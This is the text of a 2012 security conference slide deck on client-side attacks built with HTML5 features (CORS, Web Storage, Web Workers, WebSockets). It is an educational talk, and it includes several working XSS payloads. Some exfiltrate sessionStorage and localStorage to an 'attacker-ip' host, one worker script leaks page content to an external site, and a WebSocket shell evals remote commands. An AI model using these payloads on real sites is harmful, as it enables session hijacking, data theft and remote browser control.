Building Client-Side Attacks with HTML5 Features

Building Client-Side Attacks with <HTML5> features Tiago Ferreira tiago.ccna@gmail.com

AGENDA

ABOUT ME• Almost 4 years working with IT network devices and 5 years with security (MSS, Pentest, VA, etc).• Focus on Web Application vulnerabilities exploitation.• Security analyst at CONVISO Application Security.• Member of the research group Alligator Security Team.

A few words about Same Origin Policy• Perhaps the most important security concept within modern browsers.• The policy permits scripts running on pages originating from the same site to access each other‘s.• Prevents access to most methods and properties across pages on different sites.• An origin is defined by the protocol, host/domain, and port of a URL: o http://www.example.com/dir/page.html o https://www.example.com/dir/page2.html o http://www.example.com:8080/dir/page.html o http://en.example.com/dir/other.html• In practice, there is no single same-origin policy: o DOM access, XMLHttpRequest, Cookies, Flash, Java. Silverlight, etc

HTML5 Overview• The Hypertext Markup Language version 5 (HTML5) is the successor of HTML 4.01, XHTML 1.0 and XHTML 1.1.• It brings several new technologies to the browser which have never been, such as: o New DOM interfaces o New forms elements o Enhanced XHR (Level 2) o Web Storage o Web Socket o Web Workers o File API o Many new attributes• HTML5 provides new features to web applications but also introduces new security issues.

CORS - (Cross-Origin Resource Sharing)

CORS• CORS is a web browser technology that enables client-side API to make cross-origin requests to external resources.• New HTTP header is defined "Access-Control-Allow-Origin" . HTTP/1.1 200 OK Server: Apache Content-Type: text/html Access-Control-Allow-Origin: http://example.com/• First the UA makes the request to the foreign domain and then checks the access control based on the returned Access-Control- Allow-Origin header.• The decision whether the API (XMLHttpRequest) is allowed to access foreing domains is made in UA.

CORS• Potential threats o Information gathering - Response time based intranet scanning o Universal Allow - Bypass access control o Remote attacking a web server - UA can be used to attack another web server o DDoS attacks combined with Web Workers

Web Storage

Web Storage• Web Storage gives websites the possibility to store data on the users browser. The information can be accessed later using JavaScript.• Web storage offers two different storage areas: o Local Storage o Session Storage• Web storage provides far greater storage capacity (depends on browser between 5MB to 10MB).• It is supported by: Internet Explorer 8, Mozilla-based browsers (e.g., Firefox 2+, officially from 3.5), Safari 4, Google Chrome 4 (sessionStorage is from 5), Opera 10.50.

localStorage• Data placed in local storage is per domain and persists after the browser is closed.• To store value on the browser: o localStorage.setItem(key, value);• To read value stored on the browser; o localStorage.getItem(key);• Security considerations: o Sensitive data can be stolen; o Data can be spoofed; o Persistent attack vectors.

sessionStorage• Session storage is per-page-per-window and is limited to the lifetime of the window.• Store value on the browser: o sessionStorage.setItem(key, value);• Read value stored on the browser: o sessionStorage.getItem(key);• Security considerations: o There’s no ‘path’ atribute; o There’s no ‘httpOnly’ atribute; o Session hijacking (xss, session fixation).

Attack: Session hijacking using XSS• Old XSS payload to get cookies var a=new Image(); a.src=“http://attacker-ip/cookie=“ + document.cookie;• New XSS payload var a=new Image(); a.src=“http://attacker-ip/cookie=“+ sessionStorage.getItem(‘SessionID’);

Attack: Session hijacking using XSS DEMO<script>for(var i = 0; i < sessionStorage.length; i++){ var key = sessionStorage.key(i); var a = new Image(); a.src="http://attacker-ip/Storage.html?key=" + key + "&value=" + sessionStorage.getItem(key);}</script>

Attack: Stealing HTML5 localStorage DEMO<script>for(var i = 0; i < localStorage.length; i++){ var key = localStorage.key(i); var a = new Image(); a.src="http://attacker-ip/Storage.html?key=" + key + “ &value=" + localStorage.getItem(key);}</script>

Web workers

Web workers• API for spawning background scripts in web application via JavaScript. o Real OS-level threads and concurrency. o Managed communication through posting messages to background worker.• Web Workers run in an isolated thread.• Workers do NOT have access to: DOM, window, document, and parent objects.• Security validation based in same-origin principle.

Spawning a worker http://owasp.org/index.html<script>var worker = new Worker("worker.js");aworker.onmessage = function(event){ http://owasp.org/worker.jsdocument.getElementById(response„).t self.onmessage = function(event){extContet = event.data self.postMessage(Hello World);}; };worker.postMessage();</script>…<pre id=“response” value=“ “>

Workers – Available features• The location object (read-only).• The navigator object• setTimeout()/clearTimeout() and setInterval()/clearInterval().• Spawning other web workers.• postMessage() o send data to worker (strings, JSON object, etc).• Event support (addEventListener, dispatchEvent, removeEventLlistener).• importScripts o importScript(‘http://external.com/script.js’).• XMLHttpRequests.

Sending data to worker http://owasp.org/index.html<script>var worker = newWorker("worker.js"); http://owasp.org/worker.jsworker.onmessage =function(event){ self.onmessage = function(event){ self.postMessage(event);document.getElementById(response„).textContet = event.data; };};worker.postMessage(„HelloOWASP Floripa`);</script>

Attack: Bypass SOP with importScripts() • Workers makes a natural sandbox for running untrusted code. • Workers can’t access page content. • ImportScripts() permits run thirdy party code in your domain.http://owasp.org/teste.jsvar sandbox=new Worker(„sandbox.js‟)sandbox.postMessage(„http://external.sit http://owasp.org/sandbox.jse/badguy.js‟); onmessage=function(e){ importScripts(e.data); postMessage(this[„someUnt rustedFunction‟]()); }

Attack: Bypass SOP with importScripts()• But workers can run XMLHttpRequests DEMO o Script is running in the domain of the parent page. (http:/owasp.org/teste.js). o Can read any content on your domain. http://external.site/badguy.js var xhr = new XMLHttpRequest(); xhr.open(GET, http://owasp.org/index.html, true); xhr.send(); xhr.onreadystatechange = function(remote_data){ if (remote_data.target.readyState == 4){ var remote_data = remote_data.target.responseText; importScripts(http://external.site/remote-page-content= + remote_data); }; };

Attack: DDoS with CORS and Web Workers• Start a WebWorker that would fire multiple Cross Origin Requests at the target.• Thanks CORS that can send GET/POST requests to any website.• Sending a cross domain GET request is nothing new (IMG tag or SCRIPT).• So simply by getting someone to visit a URL you can get them to send 10,000 HTTP requests/minute.• Can be spread with social engineering techniques (malicious URL, XSS vulnerabilities).

Attack: DDoS with CORS and Web Workers Target Web SiteXSS victims Vulnerable XSS web siteDEMO Attacker injects XSS payload

Web Sockets

Web Sockets• Web Sockets is a web technology that provides bi-directional, full-duplex communications channels over a single TCP connection.• The connection is established by upgrading from the HTTP to the Web Socket protocol.• Web servers are now able to send content to the browser without being solicited by the client, wich allows messages to be passed back and forth while keeping the connection open.• URI Scheme: ws:// and wss://• Threats that can be exploited: o Remote Shell, Web-Based Botnet, Port scanning

Web Sockets

Web Sockets – XSS Shell DEMO<script>var connection = new WebSocket(ws://attacker-ip:port); connection.onopen = function (){ connection.send(„null‟); };connection.onmessage = function(event){ eval(event.data);};</script>

References• The Websocket Protocol (http://tools.ietf.org/html/rfc6455)• Web Workers (http://www.w3.org/TR/workers/)• Web Storage (http://www.w3.org/TR/webstorage/)• Attack & Defense Labs (http://blog.andlabs.org/)• HTML5 Rocks (http://www.html5rocks.com/).• HTML5 Web Security - Michael Schmidt• The World According to KOTO (http://blog.kotowicz.net/)• Shreerajs security blog (http://shreeraj.blogspot.in/)

Questions ?

Building Client-Side Attacks with HTML5 Features

by Conviso Application Security on Sep 18, 2012

Accessibility

Categories

Upload Details

Usage Rights

1 Embed 4

Statistics

Building Client-Side Attacks with HTML5 Features Presentation Transcript